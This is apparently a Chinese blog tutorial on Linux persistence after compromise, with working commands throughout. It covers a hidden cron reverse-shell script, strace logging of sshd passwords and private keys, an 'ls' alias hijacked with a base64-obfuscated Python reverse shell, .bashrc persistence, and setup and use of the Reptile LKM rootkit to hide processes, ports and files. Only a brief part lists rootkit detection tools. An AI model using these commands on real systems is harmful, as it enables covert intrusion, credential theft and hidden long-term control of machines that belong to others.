第145天:内网安全-Linux权限维持&Rootkit后门&Strace监控&Alias别名&Cron定时任务

案例一:权限维持-Linux-定时任务-Cron后门

linux的计时任务,配置文件再/etc/crontab下

创建后门文件,这里可以创建成隐藏文件

复制代码
vim /etc/.back.sh

反弹shell的内容

#!/bin/bash
bash -i >& /dev/tcp/47.94.236.117/3333 0>&1

加上执行权限

编辑计时任务

kali开启监听就会执行一次

但是虽然隐藏了文件,但是查看计时任务还是会发现。

而且不管你怎么隐藏这里都会有一条建立连接的记录

案例二:权限维持-Linux-监控功能-Strace后门

strace 是一个动态跟踪工具,它可以跟踪系统调用的执行。我们可以把他当成一个键盘记录的后门,来扩大我们的信息收集范围

命令

复制代码
1、记录 sshd 明文
(strace -f -F -p `ps aux|grep "sshd -D"|grep -v grep|awk {'print $2'}` -t -e trace=read,write -s 32 2> /tmp/.sshd.log &) 
查看文件
grep -E 'read\(6, ".+\\0\\0\\0\\.+"' /tmp/.sshd.log


2、记录 sshd 私钥
(strace -f -F -p `ps aux|grep "sshd -D"|grep -v grep|awk {'print $2'}` -t -e trace=read,write -s 4096 2> /tmp/.sshd.log &)

记录明文

这个记录的是通过ssh连接的密码

查看文件,会发现里面有一个123.com

每次连接一次,文件都会倍速增大,谨慎使用把

案例三:权限维持-Linux-命令自定义-Alias 后门

alias基本使用

临时添加alias命令

复制代码
alias 123="ls -l"
#添加

unalias 123
#删除

甚至都不用删除,关闭窗口就会失效,正常生产环境运行的linux系统一般都只有一个窗口,除非关机,否则会一致生效

写入到家目录下的 .bashrc文件,重启也不会失效

这里后续实验就写个临时的

基础版反弹shell

复制代码
alias ls='alerts(){ ls $* --color=auto;bash -i >& /dev/tcp/192.168.172.130/4444 0>&1; };alerts'
# 执行完ls之后,执行反弹shell的命令

虽然能够反弹shell,但是看图中的结果也能看出来会卡住

所以现在如果能有不会影响命令执行,同时也不会卡住就是最好的,下面这段代码就能够实现这个效果。

复制代码
alias ls='alerts(){ ls $* --color=auto;python3 -c "import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'\''UTF-8'\'')}[sys.version_info[0]]('\''aW1wb3J0IG9zLHNvY2tldCxzdWJwcm9jZXNzOwpyZXQgPSBvcy5mb3JrKCkKaWYgcmV0ID4gMDoKICAgIGV4aXQoKQplbHNlOgogICAgdHJ5OgogICAgICAgIHMgPSBzb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULCBzb2NrZXQuU09DS19TVFJFQU0pCiAgICAgICAgcy5jb25uZWN0KCgiMTkyLjE2OC4xNzIuMTMwIiwgNDQ0NCkpCiAgICAgICAgb3MuZHVwMihzLmZpbGVubygpLCAwKQogICAgICAgIG9zLmR1cDIocy5maWxlbm8oKSwgMSkKICAgICAgICBvcy5kdXAyKHMuZmlsZW5vKCksIDIpCiAgICAgICAgcCA9IHN1YnByb2Nlc3MuY2FsbChbIi9iaW4vc2giLCAiLWkiXSkKICAgIGV4Y2VwdCBFeGNlcHRpb24gYXMgZToKICAgICAgICBleGl0KCk='\'')))";};alerts'

不过要进行一些修改,把base64解密,把ip换成自己的重新加密

执行不会卡住的同时,也会反弹shell

经过实验发现这一长串,写入~/.bashrc中也能够实现,不过得写到最后面不然可能会因为闭合问题影响结果

持续化利用

vim /etc/upload

vim ~/.bashrc

if [ -f /etc/upload ]; then

. /etc/upload

fi

案例四:权限维持-Linux-内核加载 LKM-Rootkit 后门

先前面这几种情况,就算做了隐藏,查看端口一条命令也能发现与别的ip建立了连接,而使用Rootkit,可以把进程,端口,甚至文件全部都隐藏了,比较难以发现。

项目地址: Home · f0rb1dd3n/Reptile Wiki · GitHub

GitHub - f0rb1dd3n/Reptile: LKM Linux rootkit

适用环境,我用的centos7

普通玩法

上传解压后,一键运行脚本(centos7)

复制代码
$kernel=`uname -r`
  yum -y install perl vim gcc make g++ unzip
  yum -y localinstall kernel-devel-"$kernal".rpm
  cd Reptile-2.0/ && chmod +x ./setup.sh
  ./setup.sh install <<EOF
reptile
hax0r
s3cr3t
reptile
666
y
192.168.172.130
4444
1
EOF

安装完成

隐藏进程号

复制代码
nohup ping 114.114.114.114 &
#不断在后台ping 114.114.114.114

ps -ef | grep ping | grep -v grep
#查看ping的进程号

/reptile/reptile_cmd hide 4774
#隐藏进程号

ps -ef | grep ping | grep -v grep

可以发现这个进程直接没了但是还可以运行

隐藏/展示端口

复制代码
隐藏连接: /reptile/reptile_cmd udp hide

显示连接: /reptile/reptile_cmd tcp show

这里130的3333端口正在建立连接

执行命令后直接隐藏

甚至连文件当中带有reptile的都会隐藏

但是实验过程中发现在图形化界面当中并不会删除

进阶玩法

设置客户端,就是攻击主机需要他去连接被控主机,由于呢这里我只有centos7可以运行该程序,所以我就复制了一台centos7

这里呢攻击机的IP是192.168.172.139 被控主机的ip是192.168.172.142

被控主机设置的参数

类似于msf,进入客户端

复制代码
./setup.sh client

查看选项

选项

LHOST 192.168.172.139 Local host to receive the shell

LPORT 5555 Local port to receive the shell

SRCHOST 192.168.172.139 Source host on magic packets (spoof)

SRCPORT 666 Source port on magic packets (only for TCP/UDP)

RHOST 192.168.172.142 Remote host

RPORT 22 Remote port (only for TCP/UDP)

PROT TCP Protocol to send magic packet (ICMP/TCP/UDP)

PASS s3cr3t Backdoor password (optional)

TOKEN hax0r Token to trigger the shell

这个srcport是在安装过程中设置的

配置

运行后成功反射过来

可以上传文件,也可以反弹shell

利用shell执行命令,发现是142

但是呢这个软件还是有一些问题的,就比如说在最新的kali中客户端都装不了,就更别说服务器了,不太能够比较好的适配新的系统,并且已经2020年停止更新了。

关于Rootkit的检测:

linux平台下:chkrootkit、rkhunter、OSSEC、zeppoo等

Windows平台下:BlackLight、RootkitRevealer、Rootkit Hook Analyzer
GitHub - grayddq/GScan: 本程序旨在为安全应急响应人员对Linux主机排查时提供便利,实现主机侧Checklist的自动全面化检测,根据检测结果自动数据聚合,进行黑客攻击路径溯源。

相关推荐
光而不耀@lgy44 分钟前
C++初登门槛
linux·开发语言·网络·c++·后端
joker_zsl1 小时前
docker的安装和简单使用(ubuntu环境)
运维·docker·容器
偶尔微微一笑1 小时前
AI网络渗透kali应用(gptshell)
linux·人工智能·python·自然语言处理·编辑器
Run1.1 小时前
深入解析 Linux 中动静态库的加载机制:从原理到实践
linux·运维·服务器
VI8664956I261 小时前
全链路自动化AIGC内容工厂:构建企业级智能内容生产系统
运维·自动化·aigc
The Mr.Nobody1 小时前
STM32MPU开发之旅:从零开始构建嵌入式Linux镜像
linux·stm32·嵌入式硬件
向哆哆1 小时前
Java 安全:如何防止 DDoS 攻击?
java·安全·ddos
老兵发新帖2 小时前
Ubuntu 上安装 Conda
linux·ubuntu·conda
秋秋秋秋秋雨2 小时前
linux安装单节点Elasticsearch(es),安装可视化工具kibana
linux·elasticsearch·jenkins
浩浩测试一下2 小时前
计算机网络中的DHCP是什么呀? 详情解答
android·网络·计算机网络·安全·web安全·网络安全·安全架构